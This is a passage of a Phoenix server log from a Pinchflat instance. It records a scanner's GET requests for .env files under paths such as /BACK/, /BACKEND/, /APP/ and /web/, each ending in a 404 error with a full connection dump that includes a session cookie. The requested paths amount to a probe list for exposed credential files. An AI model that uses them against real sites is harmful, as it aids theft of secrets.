"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11806.0>, params: %{}, path_info: ["BACK", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/BACK/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW1ymoBG8m5QABVCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/BACK/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 39, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /BACK/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/BACK/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 39, host_info: :undefined }}, assigns: %{}, body_params: %{}, cooki (truncated) 17:14:28.085 [info] GET /BACKEND/.env 17:14:28.086 [debug] QUERY OK source="settings" db=0.2ms idle=544.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:28.086 [debug] QUERY OK source="settings" db=0.1ms idle=544.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:28.086 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:28.086 [error] #PID<0.11807.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 40) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /BACKEND/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /BACKEND/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/BACKEND/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 40, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11807.0>, params: %{}, path_info: ["BACKEND", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/BACKEND/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW2zncRdaPDsABVEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/BACKEND/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 40, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /BACKEND/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/BACKEND/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 40, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:28.358 [info] GET /APP/.env 17:14:28.358 [debug] QUERY OK source="settings" db=0.1ms idle=545.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:28.359 [debug] QUERY OK source="settings" db=0.1ms idle=545.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:28.359 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:28.359 [error] #PID<0.11808.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 41) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /APP/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /APP/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/APP/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 41, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11808.0>, params: %{}, path_info: ["APP", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/APP/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW30nqYPHZZQABVGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/APP/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 41, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /APP/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/APP/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 41, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:28.636 [info] GET /web/.env 17:14:28.636 [debug] QUERY OK source="settings" db=0.1ms idle=708.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:28.636 [debug] QUERY OK source="settings" db=0.1ms idle=550.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:28.637 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:28.637 [error] #PID<0.11809.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 42) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /web/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 42, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11809.0>, params: %{}, path_info: ["web", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/web/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW423OkwUo1oABVIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", 